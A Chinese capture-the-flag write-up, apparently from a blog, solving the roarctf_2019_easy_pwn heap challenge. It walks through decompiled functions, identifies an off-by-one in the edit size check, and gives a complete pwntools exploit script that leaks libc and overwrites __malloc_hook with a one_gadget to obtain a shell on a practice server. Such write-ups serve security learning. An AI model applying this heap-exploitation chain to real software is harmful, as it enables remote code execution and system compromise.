roarctf_2019_easy_pwn

roarctf_2019_easy_pwn

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

64位,保护全开

__int64 ADD()
{
  __int64 result; // rax
  int i; // [rsp+4h] [rbp-1Ch]
  int v2; // [rsp+8h] [rbp-18h]
  int v3; // [rsp+8h] [rbp-18h]
  void *v4; // [rsp+10h] [rbp-10h]

  result = 0LL;
  for ( i = 0; i <= 15; ++i )
  {
    result = *((unsigned int *)&BSSFLAG + 4 * i);
    if ( !(_DWORD)result )
    {
      printf("size: ");
      v3 = READ(v2);
      if ( v3 > 0 )
      {
        if ( v3 > 0x1000 )
          v3 = 4096;
        v4 = calloc(v3, 1uLL);
        if ( !v4 )
          exit(-1);
        *((_DWORD *)&BSSFLAG + 4 * i) = 1;
        *((_DWORD *)&BSSSIZE + 4 * i) = v3;
        BSSPTR[2 * i] = v4;
        printf("the index of ticket is %d \n", (unsigned int)i);
      }
      return (unsigned int)i;
    }
  }
  return result;
}

add这里,size创建不能大于0x1000,

__int64 EDIT()
{
  int v1; // [rsp+Ch] [rbp-14h]
  unsigned int idx; // [rsp+Ch] [rbp-14h]
  unsigned int v3; // [rsp+10h] [rbp-10h]
  unsigned int v4; // [rsp+14h] [rbp-Ch]

  printf("index: ");
  idx = READ(v1);
  v3 = idx;
  if ( idx <= 0xF )
  {
    idx = *((_DWORD *)&BSSFLAG + 4 * (int)idx);
    if ( idx == 1 )
    {
      printf("size: ");
      idx = READ(1);
      v4 = sub_E26(*((unsigned int *)&BSSSIZE + 4 * (int)v3), idx);
      if ( (int)idx > 0 )
      {
        printf("content: ");
        return (unsigned int)sub_D92(BSSPTR[2 * (int)v3], v4);
      }
    }
  }
  return idx;
}

edit这里乍一看没啥,实际上有个size的比较函数

__int64 __fastcall sub_E26(int a1, unsigned int a2)
{
  __int64 result; // rax

  if ( a1 > (int)a2 )
    return a2;
  if ( a2 - a1 == 0xA )
    LODWORD(result) = a1 + 1;
  else
    LODWORD(result) = a1;
  return (unsigned int)result;
}

这里如果从edit里面输入的size,跟你申请的size相差0xa就能有个off by one

__int64 DELE()
{
  int idx; // eax
  int v2; // [rsp+Ch] [rbp-14h]
  int v3; // [rsp+10h] [rbp-10h]
  __int64 v4; // [rsp+10h] [rbp-10h]

  printf("index: ");
  idx = READ(v3);
  v4 = idx;
  v2 = idx;
  if ( (unsigned __int64)idx <= 0xF )
  {
    v4 = *((int *)&BSSFLAG + 4 * idx);
    if ( v4 == 1 )
    {
      *((_DWORD *)&BSSFLAG + 4 * idx) = 0;
      *((_DWORD *)&BSSSIZE + 4 * idx) = 0;
      free((void *)BSSPTR[2 * idx]);
      BSSPTR[2 * v2] = 0LL;
    }
  }
  return v4;
}

dele这里没有uaf

__int64 SHOW()
{
  int v1; // [rsp+0h] [rbp-10h]
  unsigned int idx; // [rsp+0h] [rbp-10h]
  unsigned int v3; // [rsp+4h] [rbp-Ch]

  printf("index: ");
  idx = READ(v1);
  v3 = idx;
  if ( idx <= 0xF )
  {
    idx = *((_DWORD *)&BSSFLAG + 4 * (int)idx);
    if ( idx == 1 )
    {
      printf("content: ");
      return (unsigned int)sub_108E(BSSPTR[2 * (int)v3], *((unsigned int *)&BSSSIZE + 4 * (int)v3));
    }
  }
  return idx;
}

show这里判断申请那个值是否为1,才给你show

思路

利用off by one堆复用,泄露libc,构造fake chunk,打malloc_hook

from pwn import*
from Yapack import *
libc=ELF('libc-2.23.so')
r,elf=rec("node4.buuoj.cn",29821,"./pwn",10)
context(os='linux', arch='amd64',log_level='debug')
#debug('b *0x400649')
#debug('b *$rebase(0x1466)')

add(0x18)#0
add(0x10)#1
add(0x90)#2
add(0x10)#3
edit(0,0x22,b'a'*0x10+p64(0x20)+p8(0xa1))
edit(2,0x80,p64(0)*14+p64(0xa0)+p64(0x21))
dele(1)
add(0x90)#1
edit(1,0x20,p64(0)*3+p64(0xa1))
dele(2)
show(1)
leak=get_addr_u64()-mallochook()-88-0x10
li(leak)
sys=system(leak)
malloc=mallochook(leak)
realloc=reallochook(leak)
add(0x80)
edit(1,0x90,p64(0)*3+p64(0x71)+p64(0)*12+p64(0x70)+p64(0x21))
dele(2)
edit(1,0x30,p64(0)*3+p64(0x71)+p64(malloc-0x23)*2)
add(0x68)
add(0x68)#4
one=[0x45216,0x4526a,0xf02a4,0xf1147]
edit(4,11+8+8,b'a'*(3+8)+p64(leak+one[3])+p64(realloc+4))
add(0x10)

ia()

参考主要是这个师傅,讲的太详细了,我写的文笔也没那么好
在这里插入图片描述

你可能感兴趣的:(Buuoj刷题,安全)